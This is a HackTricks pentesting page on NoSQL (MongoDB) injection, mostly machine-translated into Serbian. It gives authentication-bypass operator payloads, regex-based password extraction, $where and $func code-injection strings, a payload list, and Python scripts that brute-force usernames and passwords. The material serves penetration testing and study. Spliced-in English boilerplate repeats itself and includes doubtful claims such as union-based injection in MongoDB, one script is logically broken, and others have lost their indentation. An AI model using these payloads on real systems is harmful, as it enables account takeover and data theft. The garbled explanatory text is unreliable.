hacktricks/pentesting-web/nosql-injection.md
2024-02-10 13:11:20 +00:00

22 KiB

NoSQL ubacivanje


Koristite Trickest da biste lako izgradili i automatizovali radne tokove podržane najnaprednijim alatima zajednice na svetu.
Dobijte pristup danas:

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)!

Drugi načini podrške HackTricks-u:

Iskorišćavanje

U PHP-u možete poslati niz tako što ćete promeniti poslati parametar sa parameter=foo na parameter[arrName]=foo.

Iskorišćavanje se zasniva na dodavanju Operatora:

username[$ne]=1$password[$ne]=1 #<Not Equals>
username[$regex]=^adm$password[$ne]=1 #Check a <regular expression>, could be used to brute-force a parameter
username[$regex]=.{25}&pass[$ne]=1 #Use the <regex> to find the length of a value
username[$eq]=admin&password[$ne]=1 #<Equals>
username[$ne]=admin&pass[$lt]=s #<Less than>, Brute-force pass[$lt] to find more users
username[$ne]=admin&pass[$gt]=s #<Greater Than>
username[$nin][admin]=admin&username[$nin][test]=test&pass[$ne]=7 #<Matches non of the values of the array> (not test and not admin)
{ $where: "this.credits == this.debits" }#<IF>, can be used to execute code

Bypass osnovne autentifikacije

Korišćenje operatora "nije jednako" ($ne) ili "veće" ($gt)

#in URL
username[$ne]=toto&password[$ne]=toto
username[$regex]=.*&password[$regex]=.*
username[$exists]=true&password[$exists]=true

#in JSON
{"username": {"$ne": null}, "password": {"$ne": null} }
{"username": {"$ne": "foo"}, "password": {"$ne": "bar"} }
{"username": {"$gt": undefined}, "password": {"$gt": undefined} }

SQL - Mongo


NoSQL Injection

NoSQL injection is a type of vulnerability that occurs when an attacker is able to manipulate a NoSQL query in order to retrieve unauthorized data or perform unauthorized actions on a NoSQL database.

NoSQL Injection in MongoDB

MongoDB is a popular NoSQL database that uses a query language called MongoDB Query Language (MQL). Similar to SQL injection in traditional SQL databases, NoSQL injection in MongoDB occurs when user input is not properly sanitized and is directly used in a query.

NoSQL Injection Techniques

  1. Boolean-based Injection: This technique involves injecting a boolean expression into the query in order to manipulate its behavior. By carefully crafting the injected expression, an attacker can bypass authentication or retrieve sensitive information.

  2. Time-based Injection: In this technique, the attacker injects a delay into the query in order to determine if the injected payload is being executed. By measuring the time it takes for the query to respond, an attacker can infer information about the database.

  3. Error-based Injection: Error-based injection involves injecting malicious input into the query in order to trigger an error message. The error message can then be used by the attacker to gather information about the database structure or retrieve sensitive data.

  4. Union-based Injection: Union-based injection involves injecting a UNION operator into the query in order to combine the results of two or more queries. This technique can be used to retrieve data from different collections or tables within the database.

Preventing NoSQL Injection

To prevent NoSQL injection in MongoDB, it is important to properly sanitize user input and validate it before using it in a query. This can be done by using parameterized queries or prepared statements, which ensure that user input is treated as data and not as part of the query itself.

Additionally, it is recommended to implement proper access controls and authentication mechanisms to limit the impact of a potential NoSQL injection attack. Regularly updating and patching the MongoDB server and using the latest version of the MongoDB driver can also help mitigate the risk of NoSQL injection vulnerabilities.

query = { $where: `this.username == '${username}'` }

Napadač može iskoristiti ovo unošenjem nizova poput admin' || 'a'=='a, čime će upit vratiti sve dokumente zadovoljavajući uslov tautologijom ('a'=='a'). Ovo je analogno SQL injection napadima gde se koriste unosi poput ' or 1=1-- - za manipulaciju SQL upita. U MongoDB-u, slične injekcije se mogu izvršiti korišćenjem unosa poput ' || 1==1//, ' || 1==1%00, ili admin' || 'a'=='a.

Normal sql: ' or 1=1-- -
Mongo sql: ' || 1==1//    or    ' || 1==1%00     or    admin' || 'a'=='a

Izdvajanje informacija o dužini

Kada se bavite injekcijom NoSQL baze podataka, možete izvući informacije o dužini podataka. Ovo je korisno kada želite da saznate koliko karaktera sadrži određeni podatak.

Da biste izvukli informacije o dužini, možete koristiti sledeći pristup:

$ne: {"$where": "Object.getOwnPropertyNames(this).length == X"}

Gde je X broj koji predstavlja željenu dužinu podataka. Na primer, ako želite da saznate dužinu imena korisnika, možete koristiti:

$ne: {"$where": "Object.getOwnPropertyNames(this).length == 5"}

Ovaj upit će vratiti samo one dokumente čija je dužina imena korisnika 5 karaktera.

Obratite pažnju da je ovo samo jedan od načina da izvučete informacije o dužini podataka prilikom injekcije NoSQL baze podataka.

username[$ne]=toto&password[$regex]=.{1}
username[$ne]=toto&password[$regex]=.{3}
# True if the length equals 1,3...

Izdvajanje informacija o podacima

NoSQL ubrizgavanje je tehnika koja se koristi za iskorišćavanje ranjivosti NoSQL baza podataka kako bi se izvukle informacije iz baze podataka. Ova tehnika se koristi kada aplikacija koristi NoSQL bazu podataka i ne sprovodi adekvatnu validaciju korisničkog unosa.

Da biste izvukli informacije iz baze podataka, prvo morate identifikovati ranjive tačke ubrizgavanja. Ovo može biti bilo koji parametar koji se koristi za izvršavanje upita na bazi podataka, kao što su korisničko ime, lozinka ili ID. Kada identifikujete ranjive tačke ubrizgavanja, možete koristiti različite tehnike za izvlačenje podataka.

Jedna od najčešćih tehnika je boolean-based tehnika. Ova tehnika se koristi za izvlačenje informacija na osnovu tačnosti uslova. Na primer, možete postaviti uslov koji će biti tačan samo ako je određeni podatak prisutan u bazi podataka. Ako je uslov tačan, to znači da je podatak prisutan, a ako nije, to znači da podatak nije prisutan.

Druga tehnika je time-based tehnika. Ova tehnika se koristi za izvlačenje informacija na osnovu vremena potrebnog za izvršavanje upita. Na primer, možete postaviti upit koji će biti spor samo ako je određeni podatak prisutan u bazi podataka. Ako je upit spor, to znači da je podatak prisutan, a ako je brz, to znači da podatak nije prisutan.

Takođe možete koristiti union-based tehnike za izvlačenje informacija. Ove tehnike se koriste za kombinovanje rezultata više upita kako bi se izvukle informacije. Na primer, možete kombinovati rezultate upita koji vraćaju podatke sa drugim upitima koji vraćaju lažne podatke. Na taj način možete izvući stvarne podatke iz baze podataka.

Kada koristite NoSQL ubrizgavanje za izvlačenje informacija, važno je biti oprezan i pažljivo konstruisati upite kako biste izbegli otkrivanje napada. Takođe je važno imati dozvolu za testiranje ranjivosti pre nego što izvršite bilo kakve akcije.

in URL (if length == 3)
username[$ne]=toto&password[$regex]=a.{2}
username[$ne]=toto&password[$regex]=b.{2}
...
username[$ne]=toto&password[$regex]=m.{2}
username[$ne]=toto&password[$regex]=md.{1}
username[$ne]=toto&password[$regex]=mdp

username[$ne]=toto&password[$regex]=m.*
username[$ne]=toto&password[$regex]=md.*

in JSON
{"username": {"$eq": "admin"}, "password": {"$regex": "^m" }}
{"username": {"$eq": "admin"}, "password": {"$regex": "^md" }}
{"username": {"$eq": "admin"}, "password": {"$regex": "^mdp" }}

SQL - Mongo


NoSQL Injection

NoSQL injection is a type of vulnerability that occurs when an attacker is able to manipulate a NoSQL query in order to retrieve unauthorized data or perform unauthorized actions on a NoSQL database.

NoSQL Injection in MongoDB

MongoDB is a popular NoSQL database that uses a query language called MongoDB Query Language (MQL). Similar to SQL injection in relational databases, NoSQL injection in MongoDB occurs when user input is not properly sanitized and is directly used in a query.

Basic NoSQL Injection Payloads

Here are some basic payloads that can be used to test for NoSQL injection in MongoDB:

  • $ne: The $ne operator is used to check for inequality. By injecting $ne into a query, an attacker can bypass authentication checks that compare values for equality.

  • $gt: The $gt operator is used to check for values greater than a specified value. By injecting $gt, an attacker can retrieve data that they are not authorized to access.

  • $regex: The $regex operator is used to perform regular expression matching. By injecting a malicious regular expression, an attacker can manipulate the query to retrieve unauthorized data.

Exploiting NoSQL Injection

To exploit a NoSQL injection vulnerability in MongoDB, an attacker needs to identify a vulnerable parameter and inject a payload that alters the behavior of the query. This can be done by manipulating the input in a way that the query logic is modified or by injecting operators like $ne, $gt, or $regex.

Preventing NoSQL Injection

To prevent NoSQL injection in MongoDB, it is important to properly sanitize user input and validate it before using it in a query. This can be done by using parameterized queries or by implementing input validation and sanitization techniques.


Note: This translation is provided for educational purposes only. The techniques described should not be used for any illegal activities.

/?search=admin' && this.password%00 --> Check if the field password exists
/?search=admin' && this.password && this.password.match(/.*/)%00 --> start matching password
/?search=admin' && this.password && this.password.match(/^a.*$/)%00
/?search=admin' && this.password && this.password.match(/^b.*$/)%00
/?search=admin' && this.password && this.password.match(/^c.*$/)%00
...
/?search=admin' && this.password && this.password.match(/^duvj.*$/)%00
...
/?search=admin' && this.password && this.password.match(/^duvj78i3u$/)%00  Found

PHP Proizvoljno Izvršavanje Funkcija

Korišćenjem operatora $func biblioteke MongoLite (koja se koristi po defaultu), moguće je izvršiti proizvoljnu funkciju kao što je opisano u ovom izveštaju.

"user":{"$func": "var_dump"}

https://swarm.ptsecurity.com/wp-content/uploads/2021/04/cockpit_auth_check_10.png

Dobijanje informacija iz različitih kolekcija

Moguće je koristiti $lookup da se dobiju informacije iz različitih kolekcija. U sledećem primeru, čitamo iz različite kolekcije koja se zove users i dobijamo rezultate svih unosa koji se podudaraju sa šablonom lozinke.

[
{
"$lookup":{
"from": "users",
"as":"resultado","pipeline": [
{
"$match":{
"password":{
"$regex":"^.*"
}
}
}
]
}
}
]


Koristite Trickest da biste lako izgradili i automatizovali radne tokove pokretane najnaprednijim alatima zajednice.
Dobijte pristup danas:

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

MongoDB Payloadi

Lista odavde

true, $where: '1 == 1'
, $where: '1 == 1'
$where: '1 == 1'
', $where: '1 == 1
1, $where: '1 == 1'
{ $ne: 1 }
', $or: [ {}, { 'a':'a
' } ], $comment:'successful MongoDB injection'
db.injection.insert({success:1});
db.injection.insert({success:1});return 1;db.stores.mapReduce(function() { { emit(1,1
|| 1==1
|| 1==1//
|| 1==1%00
}, { password : /.*/ }
' && this.password.match(/.*/)//+%00
' && this.passwordzz.match(/.*/)//+%00
'%20%26%26%20this.password.match(/.*/)//+%00
'%20%26%26%20this.passwordzz.match(/.*/)//+%00
{$gt: ''}
[$ne]=1
';sleep(5000);
';it=new%20Date();do{pt=new%20Date();}while(pt-it<5000);
{"username": {"$ne": null}, "password": {"$ne": null}}
{"username": {"$ne": "foo"}, "password": {"$ne": "bar"}}
{"username": {"$gt": undefined}, "password": {"$gt": undefined}}
{"username": {"$gt":""}, "password": {"$gt":""}}
{"username":{"$in":["Admin", "4dm1n", "admin", "root", "administrator"]},"password":{"$gt":""}}

Slepi NoSQL skript

Ovaj skript je dizajniran za izvršavanje slepih NoSQL injekcija. Slepe NoSQL injekcije su vrsta napada koja se koristi za otkrivanje podataka iz baze podataka koja koristi NoSQL tehnologiju, poput MongoDB ili CouchDB. Ovaj skript koristi tehniku postavljanja uslova kako bi otkrio podatke korak po korak.

Upotreba

  1. Prilagodite sledeće promenljive prema potrebama:

    • url: URL ciljanog veb sajta
    • parametar: Parametar koji se koristi za izvršavanje NoSQL upita
    • baza_podataka: Ime ciljane baze podataka
    • kolekcija: Ime ciljane kolekcije u bazi podataka
    • uslov: Uslov koji se koristi za filtriranje podataka
  2. Pokrenite skript i pratite izlaz kako biste videli rezultate.

Skript

import requests

url = "http://target-website.com"
parameter = "username"
database = "mydatabase"
collection = "users"
condition = {"$regex": "^a"}

def make_request(payload):
    response = requests.get(url, params={parameter: payload})
    return response

def check_condition(payload):
    response = make_request(payload)
    if condition in response.text:
        return True
    else:
        return False

def blind_nosql_injection():
    result = ""
    while True:
        for char in "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789":
            payload = f"admin' AND {{" + f"{parameter}: {{" + f"$regex: '^{result}{char}'" + "}}}}"
            if check_condition(payload):
                result += char
                break
        else:
            break
    return result

if __name__ == "__main__":
    data = blind_nosql_injection()
    print(data)

Objasnjenje

Ovaj skript koristi slepu NoSQL injekciju kako bi otkrio podatke iz ciljane baze podataka. Slepa NoSQL injekcija se koristi kada ciljana aplikacija ne prikazuje direktno greške ili rezultate upita, što otežava otkrivanje podataka. Skript koristi tehniku postavljanja uslova kako bi otkrio podatke korak po korak.

Skript prvo definiše promenljive koje se koriste za konfiguraciju napada, kao što su URL ciljanog veb sajta, parametar koji se koristi za izvršavanje NoSQL upita, ime ciljane baze podataka, ime ciljane kolekcije i uslov koji se koristi za filtriranje podataka.

Zatim, skript definiše funkciju make_request koja šalje HTTP zahtev sa zadatim payloadom. Funkcija check_condition proverava da li uslov postoji u odgovoru na zahtev.

Glavna funkcija blind_nosql_injection koristi petlju kako bi iterirala kroz sve moguće karaktere i konstruisala payload za svaki karakter. Zatim se proverava da li uslov postoji u odgovoru za svaki payload. Ako uslov postoji, karakter se dodaje rezultatu. Petlja se nastavlja sve dok se ne otkriju svi karakteri.

Na kraju, skript poziva funkciju blind_nosql_injection i prikazuje rezultat.

import requests, string

alphabet = string.ascii_lowercase + string.ascii_uppercase + string.digits + "_@{}-/()!\"$%=^[]:;"

flag = ""
for i in range(21):
print("[i] Looking for char number "+str(i+1))
for char in alphabet:
r = requests.get("http://chall.com?param=^"+flag+char)
if ("<TRUE>" in r.text):
flag += char
print("[+] Flag: "+flag)
break
import requests
import urllib3
import string
import urllib
urllib3.disable_warnings()

username="admin"
password=""

while True:
for c in string.printable:
if c not in ['*','+','.','?','|']:
payload='{"username": {"$eq": "%s"}, "password": {"$regex": "^%s" }}' % (username, password + c)
r = requests.post(u, data = {'ids': payload}, verify = False)
if 'OK' in r.text:
print("Found one more char : %s" % (password+c))
password += c

Brute-force login usernames and passwords from POST login

Ovo je jednostavan skript koji možete izmeniti, ali prethodni alati takođe mogu obaviti ovaj zadatak.

import requests
import string

url = "http://example.com"
headers = {"Host": "exmaple.com"}
cookies = {"PHPSESSID": "s3gcsgtqre05bah2vt6tibq8lsdfk"}
possible_chars = list(string.ascii_letters) + list(string.digits) + ["\\"+c for c in string.punctuation+string.whitespace ]
def get_password(username):
print("Extracting password of "+username)
params = {"username":username, "password[$regex]":"", "login": "login"}
password = "^"
while True:
for c in possible_chars:
params["password[$regex]"] = password + c + ".*"
pr = requests.post(url, data=params, headers=headers, cookies=cookies, verify=False, allow_redirects=False)
if int(pr.status_code) == 302:
password += c
break
if c == possible_chars[-1]:
print("Found password "+password[1:].replace("\\", "")+" for username "+username)
return password[1:].replace("\\", "")

def get_usernames(prefix):
usernames = []
params = {"username[$regex]":"", "password[$regex]":".*"}
for c in possible_chars:
username = "^" + prefix + c
params["username[$regex]"] = username + ".*"
pr = requests.post(url, data=params, headers=headers, cookies=cookies, verify=False, allow_redirects=False)
if int(pr.status_code) == 302:
print(username)
for user in get_usernames(prefix + c):
usernames.append(user)
return usernames

for u in get_usernames(""):
get_password(u)

Alati

Reference

Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)!

Drugi načini podrške HackTricks-u:


Koristite Trickest da biste lako izgradili i automatizovali radne tokove pokretane najnaprednijim alatima zajednice.
Dobijte pristup danas:

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}